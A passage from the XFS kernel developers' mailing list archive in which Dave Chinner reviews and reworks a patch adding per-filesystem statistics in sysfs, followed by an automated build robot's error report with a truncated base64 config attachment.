> +do { \ > > + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v++; \ > > + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v++; \ > > +} while (0) > > > > -#define XFS_STATS_DEC(v) \ > > - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--) > > +#define XFS_STATS_DEC(mp, v) \ > > +do { \ > > + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v--; \ > > + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v--; \ > > +} while (0) > > > > -#define XFS_STATS_ADD(v, inc) \ > > - (per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc)) > > +#define XFS_STATS_ADD(mp, v, inc) \ > > +do { \ > > + per_cpu_ptr(xfsstats.xs_stats, current_cpu())->v += (inc); \ > > + per_cpu_ptr(mp->m_stats.xs_stats, current_cpu())->v += (inc); \ > > +} while (0) > > > > extern int xfs_init_procfs(void); > > extern void xfs_cleanup_procfs(void); > > One other thing that I just caught looking at the code (not enough context > in the patch to see it) - this is all under #ifdef CONFIG_PROC_FS, and now > that it's all moved to sysfs, we should just remove that conditional from > this file. The only thing that matters w.r.t. procfs is the symlink > creation, and that's already handled in xfs_init_procfs() definitions. > > Dave, maybe you can just fix that on commit ... I moved the conditional just to cover the xfs_init_procfs() definitions. Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Wed Oct 7 01:29:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4522A7FA8 for ; Wed, 7 Oct 2015 01:29:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id AFC61AC005 for ; Tue, 6 Oct 2015 23:29:20 -0700 (PDT) X-ASG-Debug-ID: 1444199357-04cb6c57860ee30001-NocioJ Received: from ipmail04.adl6.internode.on.net (ipmail04.adl6.internode.on.net [150.101.137.141]) by cuda.sgi.com with ESMTP id dmkOD8uYBFeYfn1x for ; Tue, 06 Oct 2015 23:29:17 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.141 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: A2DeDQA3uxRWPEcOLHlegyeBQoZaonABAQEBAQEGixiFGoYKhhQCAgEBAoE8TQEBAQEBAQcBAQEBQT9BB4NeAQEBBCcTHCMQCAMVAwklDwUlAwcaE4gtwH4BAQEHAgEfGYYThUWEREkHhC4Fkk2DOI0PgV+HXIl3iEmEeSozg32CJ4FIAQEB Received: from ppp121-44-14-71.lns20.syd4.internode.on.net (HELO dastard) ([121.44.14.71]) by ipmail04.adl6.internode.on.net with ESMTP; 07 Oct 2015 16:59:14 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1ZjiDx-0003Hz-Cg; Wed, 07 Oct 2015 17:29:13 +1100 Date: Wed, 7 Oct 2015 17:29:13 +1100 From: Dave Chinner To: Bill O'Donnell Cc: xfs@oss.sgi.com Subject: Re: [PATCH 6/7] xfs: per-filesystem stats in sysfs. Message-ID: <20151007062913.GR27164@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/7] xfs: per-filesystem stats in sysfs. References: <1443802960-26662-1-git-send-email-billodo@redhat.com> <1443802960-26662-7-git-send-email-billodo@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443802960-26662-7-git-send-email-billodo@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail04.adl6.internode.on.net[150.101.137.141] X-Barracuda-Start-Time: 1444199357 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23262 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Fri, Oct 02, 2015 at 11:22:39AM -0500, Bill O'Donnell wrote: > This patch implements per-filesystem stats objects in sysfs. It > depends on the application of the previous patch series that > develops the infrastructure to support both xfs global stats and > xfs per-fs stats in sysfs. > > Stats objects are instantiated when an xfs filesystem is mounted > and deleted on unmount. With this patch, the stats directory is > created and populated with the familiar stats and stats_clear files. > Example: > /sys/fs/xfs/sda9/stats/stats > /sys/fs/xfs/sda9/stats/stats_clear > > With this patch, the individual counts within the new per-fs > stats file(s) remain at zero. Functions that use the the macros > to increment, decrement, and add-to the per-fs stats counts will > be covered in a separate new patch to follow this one. Note that > the counts within the global stats file (/sys/fs/xfs/stats/stats) > advance normally and can be cleared as it was prior to this patch. > > Signed-off-by: Bill O'Donnell ..... > @@ -1047,6 +1065,10 @@ xfs_unmountfs( > xfs_warn(mp, "Unable to update superblock counters. " > "Freespace may not be correct on next mount."); > > + /* remove the stats kobject and free stats memory */ > + xfs_sysfs_del(&mp->m_stats.xs_kobj); > + free_percpu(mp->m_stats.xs_stats); > + > xfs_log_unmount(mp); Ok, there's an obvious (to me!) problem here. xfs_log_unmount() is called while there are still active objects in the AIL, which means there is still AIL operations that need to be done. The AIL operations have stats in them, so this will result in use-after-free of the mp->m_stats structure here. Actually, looking at the alloc side of this patch, we're doing a XFS_STATS_INC(xb_create) through: xfs_fs_fill_super xfs_readsb xfs_buf_read_uncached xfs_buf_get_uncached _xfs_buf_alloc XFS_STATS_INC(target->bt_mount, xb_create) at mount time before we've set up mp->m_stats. Ok, so the initialisation and teardown of the per-mount stats memory is being done at the wrong layer - it needs to be done in xfs_fs_fill_super() before we do any IO at all and dropped in xfs_fs_put_super() after we've torn down all the IO structures. The sysfs object initialisation is fine where it is, but the actual stats storage is needed earlier/later than the sysfs object is. /me now wonders why this doesn't go kaboom at mount time... Reworked patch is inline below. Cheers, Dave. -- Dave Chinner david@fromorbit.com xfs: per-filesystem stats in sysfs From: Bill O'Donnell This patch implements per-filesystem stats objects in sysfs. It depends on the application of the previous patch series that develops the infrastructure to support both xfs global stats and xfs per-fs stats in sysfs. Stats objects are instantiated when an xfs filesystem is mounted and deleted on unmount. With this patch, the stats directory is created and populated with the familiar stats and stats_clear files. Example: /sys/fs/xfs/sda9/stats/stats /sys/fs/xfs/sda9/stats/stats_clear With this patch, the individual counts within the new per-fs stats file(s) remain at zero. Functions that use the the macros to increment, decrement, and add-to the per-fs stats counts will be covered in a separate new patch to follow this one. Note that the counts within the global stats file (/sys/fs/xfs/stats/stats) advance normally and can be cleared as it was prior to this patch. [dchinner: move setup/teardown to xfs_fs_{fill|put}_super() so it is down before/after any path that uses the per-mount stats. ] Signed-off-by: Bill O'Donnell Reviewed-by: Eric Sandeen Signed-off-by: Dave Chinner --- fs/xfs/xfs_mount.c | 11 ++++++++++- fs/xfs/xfs_mount.h | 1 + fs/xfs/xfs_super.c | 14 ++++++++++++-- 3 files changed, 23 insertions(+), 3 deletions(-) diff --git a/fs/xfs/xfs_mount.c b/fs/xfs/xfs_mount.c index bf92e0c..eb498ce 100644 --- a/fs/xfs/xfs_mount.c +++ b/fs/xfs/xfs_mount.c @@ -693,10 +693,15 @@ xfs_mountfs( if (error) goto out; - error = xfs_uuid_mount(mp); + error = xfs_sysfs_init(&mp->m_stats.xs_kobj, &xfs_stats_ktype, + &mp->m_kobj, "stats"); if (error) goto out_remove_sysfs; + error = xfs_uuid_mount(mp); + if (error) + goto out_del_stats; + /* * Set the minimum read and write sizes */ @@ -971,6 +976,8 @@ xfs_mountfs( xfs_da_unmount(mp); out_remove_uuid: xfs_uuid_unmount(mp); + out_del_stats: + xfs_sysfs_del(&mp->m_stats.xs_kobj); out_remove_sysfs: xfs_sysfs_del(&mp->m_kobj); out: @@ -1047,6 +1054,7 @@ xfs_unmountfs( xfs_warn(mp, "Unable to update superblock counters. " "Freespace may not be correct on next mount."); + xfs_log_unmount(mp); xfs_da_unmount(mp); xfs_uuid_unmount(mp); @@ -1056,6 +1064,7 @@ xfs_unmountfs( #endif xfs_free_perag(mp); + xfs_sysfs_del(&mp->m_stats.xs_kobj); xfs_sysfs_del(&mp->m_kobj); } diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 404bfa5..f20e5de 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -127,6 +127,7 @@ typedef struct xfs_mount { int64_t m_low_space[XFS_LOWSP_MAX]; /* low free space thresholds */ struct xfs_kobj m_kobj; + struct xstats m_stats; /* per-fs stats */ struct workqueue_struct *m_buf_workqueue; struct workqueue_struct *m_data_workqueue; diff --git a/fs/xfs/xfs_super.c b/fs/xfs/xfs_super.c index e1a35a5..9d11d3e 100644 --- a/fs/xfs/xfs_super.c +++ b/fs/xfs/xfs_super.c @@ -1474,9 +1474,16 @@ xfs_fs_fill_super( if (error) goto out_destroy_workqueues; + /* Allocate stats memory before we do operations that might use it */ + mp->m_stats.xs_stats = alloc_percpu(struct xfsstats); + if (!mp->m_stats.xs_stats) { + error = PTR_ERR(mp->m_stats.xs_stats); + goto out_destroy_counters; + } + error = xfs_readsb(mp, flags); if (error) - goto out_destroy_counters; + goto out_free_stats; error = xfs_finish_flags(mp); if (error) @@ -1545,9 +1552,11 @@ xfs_fs_fill_super( xfs_filestream_unmount(mp); out_free_sb: xfs_freesb(mp); + out_free_stats: + free_percpu(mp->m_stats.xs_stats); out_destroy_counters: xfs_destroy_percpu_counters(mp); -out_destroy_workqueues: + out_destroy_workqueues: xfs_destroy_mount_workqueues(mp); out_close_devices: xfs_close_devices(mp); @@ -1574,6 +1583,7 @@ xfs_fs_put_super( xfs_unmountfs(mp); xfs_freesb(mp); + free_percpu(mp->m_stats.xs_stats); xfs_destroy_percpu_counters(mp); xfs_destroy_mount_workqueues(mp); xfs_close_devices(mp); From fengguang.wu@intel.com Wed Oct 7 01:47:31 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id CC2AC7F4E for ; Wed, 7 Oct 2015 01:47:31 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 5E913304043 for ; Tue, 6 Oct 2015 23:47:31 -0700 (PDT) X-ASG-Debug-ID: 1444200449-04bdf020dc10590001-NocioJ Received: from mga02.intel.com (mga02.intel.com [134.134.136.20]) by cuda.sgi.com with ESMTP id XkQdOtXyaJmnMPM7 for ; Tue, 06 Oct 2015 23:47:29 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.20 X-ASG-Whitelist: EmailCat (corporate) Received: from fmsmga001.fm.intel.com ([10.253.24.23]) by orsmga101.jf.intel.com with ESMTP; 06 Oct 2015 23:47:28 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,647,1437462000"; d="gz'50?scan'50,208,50";a="805347478" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by fmsmga001.fm.intel.com with ESMTP; 06 Oct 2015 23:47:27 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1ZjiVO-0005m8-Mm; Wed, 07 Oct 2015 14:47:14 +0800 Date: Wed, 7 Oct 2015 14:46:17 +0800 From: kbuild test robot To: "Darrick J. Wong" Cc: kbuild-all@01.org, david@fromorbit.com, darrick.wong@oracle.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 51/58] xfs: add clone file and clone range ioctls Message-ID: <201510071428.O2UJSvVc%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH 51/58] xfs: add clone file and clone range ioctls MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="a8Wt8u1KmwUX3Y2C" Content-Disposition: inline In-Reply-To: <20151007050044.30457.38096.stgit@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: mga02.intel.com[134.134.136.20] X-Barracuda-Start-Time: 1444200449 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 --a8Wt8u1KmwUX3Y2C Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Darrick, [auto build test ERROR on v4.3-rc4 -- if it's inappropriate base, please ignore] config: i386-allmodconfig (attached as .config) reproduce: # save the attached .config to linux build tree make ARCH=i386 All errors (new ones prefixed by >>): >> ERROR: "security_file_permission" undefined! --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation --a8Wt8u1KmwUX3Y2C Content-Type: application/octet-stream Content-Disposition: attachment; filename=".config.gz" Content-Transfer-Encoding: base64 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 